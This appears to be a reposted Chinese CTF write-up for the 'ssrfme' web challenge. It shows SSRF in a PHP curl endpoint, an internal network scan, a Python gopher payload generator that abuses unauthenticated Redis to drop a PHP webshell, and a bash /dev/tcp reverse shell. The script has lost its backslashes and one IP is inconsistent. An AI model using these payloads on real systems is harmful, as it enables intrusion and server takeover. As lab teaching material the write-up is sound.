2月公开赛writeup|Web-ssrfme

admin 2022年2月25日09:13:24评论2 views字数 2942阅读9分48秒阅读模式

    不知道本期比赛的web题目有没有让你做的摸不着头脑,感觉思路操作没问题呀,怎么就是没有成功。在开始看wp前,我们一起先来看一下这道题目在比赛过程中给出提示以及题目改变的地方。

1

【2022/2/21 14:10提示】

或许有一个redis,如果flag找不到,试试反弹个shell呢?

比赛最开始的时候,根目录下的flag文件放置了一个假的flag,需要选手使用反弹shell的方法去查找真正的flag。

2

【2022/2/21 21:30题目更新】

内网新增一批机器...

到后面比赛的时候,环境出现了一些问题,因为redis的权限控制不合理,导致无法成功写入shell,所以调整了比赛的环境,在内网的172.17.0.0段增加了十几台redis机器,并且将flag内容直接放在根目录下了。

微信公众号后台回复【2月公开赛web环境】即可获取比赛环境,wp见下。

【题目考查的技术点】

  • SSRF

  • redis未授权访问
  • SSRF攻击内网主机上的redis

【writeup for ssrfme】

进入题目即给出源码:

2月公开赛writeup|Web-ssrfme

<?php
highlight_file(__file__);
function curl($url){  
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_HEADER, 0);
   echo curl_exec($ch);
   curl_close($ch);
}


if(isset($_GET['url'])){
   $url = $_GET['url'];

   if(preg_match('/file://|dict://|../|127.0.0.1|localhost/is', $url,$match))
  {
       die('No, No, No!');
  }
   curl($url);
}
if(isset($_GET['info'])){
   phpinfo();
}
?>

如下测试,存在 ssrf:

2月公开赛writeup|Web-ssrfme

但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:

2月公开赛writeup|Web-ssrfme

查看phpinfo,如下图,可以看到当前主机的内网ip为172.17.0.3:

2月公开赛writeup|Web-ssrfme

然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可):

/search?url=http://172.17.0.1   # 无存活
/search?url=http://172.17.0.2   # 发现另一存活机器
/search?url=http://172.17.0.3   # 当前机器

当我们测试到 172.28.0.2 时,返回了“Go away”:

2月公开赛writeup|Web-ssrfme

说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:

2月公开赛writeup|Web-ssrfme

2月公开赛writeup|Web-ssrfme

当测试到6379端口时发现了一个报错:

2月公开赛writeup|Web-ssrfme

这是redis的报错,说明这台内网主机上还运行着redis服务。

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。

2月公开赛writeup|Web-ssrfme

经测试upload目录下是可写的,步骤如下。

编写脚本生成payload:

import urllib
protocol="gopher://"
ip="172.17.0.2"    # 运行着redis的内网主机ip
port="6379"
shell="nn<?php system("cat /flag");?>nn"
filename="bapp.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

# 输出: gopher://172.17.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Abapp.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

将生成的payload再次用url进行编码,然后发送过去:

2月公开赛writeup|Web-ssrfme

发送paylaod后,会在这台内网主机的upload目录里写入一个bapp.php,内容如下:
<?php system("cat /flag");?>
然后使用ssrf访问这个内网的bapp.php即可得到flag:
/?url=http://172.17.0.2/bapp.php

我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个happ.php,内容如下:

<?php system("bash -c 'exec bash -i >& /dev/tcp/ip/端口 0>&1'");?>

2月公开赛writeup|Web-ssrfme

2月公开赛writeup|Web-ssrfme

如上可以看到成功反弹。

原文始发于微信公众号(胖哈勃):2月公开赛writeup|Web-ssrfme

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月25日09:13:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2月公开赛writeup|Web-ssrfmehttps://cn-sec.com/archives/802770.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息